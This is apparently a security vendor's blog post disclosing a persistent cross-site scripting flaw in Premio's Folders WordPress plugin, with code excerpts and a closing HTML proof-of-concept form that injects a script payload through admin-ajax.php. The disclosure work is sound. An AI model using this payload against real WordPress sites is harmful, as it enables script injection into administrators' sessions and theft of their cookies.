Premio is Introducing Security Vulnerabilities in to WordPress Plugins While Commercializing Them
On Friday the plugin myStickymenu was closed on the WordPress Plugin Directory. Due to it being one of the 1,000 most popular WordPress plugins (it has 60,000+ installs) and it looking like hackers monitor for the closure of popular plugins to then see if there are security vulnerabilities they can exploit, we do that type of monitoring as well to keep our customer ahead of hackers, so we were alerted to the closure. We found that there were two vulnerabilities in it, though neither one is one that hackers are likely to try to exploit on the average website. In looking into the more serious vulnerability we found that it was introduced in the first version after ownership of the plugin was handed over to a company named Premio. That version also promoted the introduction of a Pro version and what is included in the Pro version is tied to the code introduced in that version that created the security vulnerability.
The security vulnerability was caused by a failure to do two security basics, so we were curious to see if they might have other plugins that also have security issues. Their second most popular plugin is Folders. Like myStickymenu, they took it over and the next version promoted the introduction of a Pro version. Alongside that they also introduced numerous security issues, due again to basic security failures. As one example, we confirmed that introduced in that version was a persistent cross-site scripting (XSS), which still exists in the current version.
One take away from this is that it is yet another reminder that plugins being monetized isn’t actually a good way to decide to use them over other plugins from a security perspective.
This also seems to raise questions without good answers about handling the change of control of plugins and making decisions on what plugins to use when they quickly can become highly insecure.
What we also noticed that really speaks to the poor state of security information when it comes to WordPress, is that on Premio’s blog they recently were handing out advice on what WordPress security plugins to use, despite them seeming to have no business handing out security advice to others.
Persistent Cross-Site Scripting (XSS)
In the first version they released they added numerous AJAX accessible functions. Despite it looking like all of those are only being intended to be used by those logged in to WordPress, they made them accessible to those not logged in as well. As one example of that take the function wcp_change_post_width():
67 68 | add_action('wp_ajax_nopriv_wcp_change_post_width', array($this, 'wcp_change_post_width')); add_action('wp_ajax_wcp_change_post_width', array($this, 'wcp_change_post_width')); |
That function, which is located in the file /includes/folders.class.php, has no security checks, so anyone can cause its code to run:
158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 | public function wcp_change_post_width() { $response = array(); $response['status'] = 0; $response['error'] = 0; $response['data'] = array(); $response['message'] = ""; $postData = $_POST; if (isset($postData['width']) && isset($postData['type'])) { $optionName = "wcp_dynamic_width_for_" . $postData['type']; update_option($optionName, $postData['width']); $response['status'] = 1; } echo json_encode($response); die; } |
There should both be a capabilities check and check for a valid nonce to prevent cross-site request forgery (CSRF).
What it does have is code to save a WordPress option (setting) without sanitizing or validating it. Since the value should be an integer, restricting the value to integers would be a good option for that.
The value saved there is later output by the function folders_admin_styles(), which is in the same file, and it is not escaped when output:
837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 | $css = " .wcp-folder-upgrade-button {color: #FF5983; font-weight: bold;} "; if (self::is_active_for_screen()) { global $typenow; $width = get_option("wcp_dynamic_width_for_" . $typenow); if (!empty($width)) { $css .= ".wcp-content{width:{$width}px}"; if ( function_exists( 'is_rtl' ) && is_rtl() ) { $css .= "html[dir='rtl'] body.wp-admin #wpcontent {padding-right:" . ($width + 20) . "px}"; $css .= "html[dir='rtl'] body.wp-admin #wpcontent {padding-left:0px}"; } else { $css .= "body.wp-admin #wpcontent {padding-left:" . ($width + 20) . "px}"; } } } wp_add_inline_style('wcp-css-handle', $css); |
All that combined leads to a persistent cross-site scripting (XSS) vulnerability that could have easily been avoided by doing security basics.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause an alert box with any available cookies to be shown on /wp-admin/upload.php.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wcp_change_post_width" method="POST"> <input type="hidden" name="type" value="attachment" /> <input type="hidden" name="width" value="</style><script>alert(document.cookie);</script><style>" /> <input type="submit" value="Submit" /> </form> </body> </html>